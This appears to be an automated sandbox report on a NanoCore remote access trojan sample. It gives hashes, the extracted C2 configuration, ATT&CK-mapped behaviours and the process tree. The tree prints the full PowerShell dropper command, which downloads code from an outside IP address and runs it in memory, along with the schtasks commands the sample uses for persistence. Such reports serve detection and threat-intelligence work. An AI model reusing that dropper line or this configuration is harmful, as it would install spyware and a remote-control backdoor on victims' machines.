nanocore | c5f181c355f5c44bd83b1acfad4d363f3a3d88d719b5c76cbbc0d1c568bb68a0

Analysis

max time kernel
92s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
02/12/2022, 17:24

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General

Target
R.F.Q-PMP-100000pcs.vbs
Size 185KB
Sample221202-vyrjpace5x
SHA256 c5f181c355f5c44bd83b1acfad4d363f3a3d88d719b5c76cbbc0d1c568bb68a0
MD5 8386b1d415e666a5624ecad85e1444b6
SHA1 3b8bcd6a40aa863fa114b300c6f45383fff48922
SHA512 2822f899fcbcb32ebd8dfa0ae59956258ab18d169c9c09d4e0a0851767b471a11fa48a8798107fc67547ce6a792ad081a55ec993b1540c11a023311ab4679527
SSDEEP 3072:eXFJliLfuE8ozlADw8auustFmbicHfm3fwOt4MYI2x75nehsqgB3F23st+Zn3F/Z:sliLfudcHO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

nanocore evasion keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://4.204.233.44/DLL/NoStartUp.ppam

Extracted

Family

nanocore

Version

1.2.2.0

193.47.61.249:53965

Mutex

9761ad91-155b-44e5-80a4-5ecf7fb69237

Attributes

activate_away_mode
true
backup_connection_host
193.47.61.249
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2022-09-12T23:14:49.819269836Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
53965
default_group
DURU
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9761ad91-155b-44e5-80a4-5ecf7fb69237
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
193.47.61.249
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4956	powershell.exe
7	4956	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\DDP Manager = "C:\\Program Files (x86)\\DDP Manager\\ddpmgr.exe"	RegAsm.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4956 set thread context of 1404	4956	powershell.exe	78

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\DDP Manager\ddpmgr.exe	RegAsm.exe
File opened for modification	C:\Program Files (x86)\DDP Manager\ddpmgr.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4428	schtasks.exe
3532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe
1404	RegAsm.exe
1404	RegAsm.exe
1404	RegAsm.exe
1404	RegAsm.exe
1404	RegAsm.exe
1404	RegAsm.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1404	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	1404	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 4956	1944	WScript.exe	76
PID 1944 wrote to memory of 4956	1944	WScript.exe	76
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 4956 wrote to memory of 1404	4956	powershell.exe	78
PID 1404 wrote to memory of 4428	1404	RegAsm.exe	79
PID 1404 wrote to memory of 4428	1404	RegAsm.exe	79
PID 1404 wrote to memory of 4428	1404	RegAsm.exe	79
PID 1404 wrote to memory of 3532	1404	RegAsm.exe	83
PID 1404 wrote to memory of 3532	1404	RegAsm.exe	83
PID 1404 wrote to memory of 3532	1404	RegAsm.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\R.F.Q-PMP-100000pcs.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/DLL/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.hjfjhfjhgdgdgfzfgf/42.021.871.591//:ptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "DDP Manager" /xml "C:\Users\Admin\AppData\Local\Temp\tmp5890.tmp"
      4⤵
      Creates scheduled task(s)
      PID:4428
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "DDP Manager Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp60BE.tmp"
      4⤵
      Creates scheduled task(s)
      PID:3532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

tmp5890.tmp

Path C:\Users\Admin\AppData\Local\Temp\tmp5890.tmp
Size 1KB
SHA256 0c1b5f67eeb276d1d4205b138ce32bc6149924e02281a2db8e4623a700e88f15
MD5 48ef7fa9033389ad7929d7a6b9d10298
SHA1 9db6cb7325c8bdf66a15f7b5f34703709a45aeb6
SHA512 ac8bd104ecbacc9bccce9e087f67e5b18072d59367ccd31d4e66132b6baaea520cba5b9b59464483d86abf74826b382c402f12e9a586c99bda8c78a0de33944e
MD5 SHA1 SHA512

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tmp60BE.tmp

Path C:\Users\Admin\AppData\Local\Temp\tmp60BE.tmp
Size 1KB
SHA256 8bcf16c788d228932fa707bb4250c05151e099bdf7040adc717e53680601be3d
MD5 677848190631e19222304d1982aa2e1b
SHA1 bed6cf97d3458e4ea59ff9823375d915a9b3d682
SHA512 f5d41e150011bc63f4c95799e21fe91ffaa25eb05f4ca46ea89f3a3ca5325413ba4e0b7b5d69c0bc189955f3308c4928016a7cc1d6f7c2352639106952e92b1e
MD5 SHA1 SHA512

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memory/1404-138-0x0000000005320000-0x00000000058C4000-memory.dmp

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memory/1404-135-0x0000000000400000-0x0000000000438000-memory.dmp

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memory/1404-139-0x0000000004E10000-0x0000000004EA2000-memory.dmp

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memory/1404-140-0x0000000004EB0000-0x0000000004F4C000-memory.dmp

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memory/1404-141-0x0000000004DE0000-0x0000000004DEA000-memory.dmp

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memory/1404-146-0x0000000006CF0000-0x0000000006D56000-memory.dmp

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memory/4956-137-0x00007FFDE5D10000-0x00007FFDE67D1000-memory.dmp

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memory/4956-134-0x00007FFDE5D10000-0x00007FFDE67D1000-memory.dmp

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memory/4956-133-0x0000023A72E60000-0x0000023A72E82000-memory.dmp

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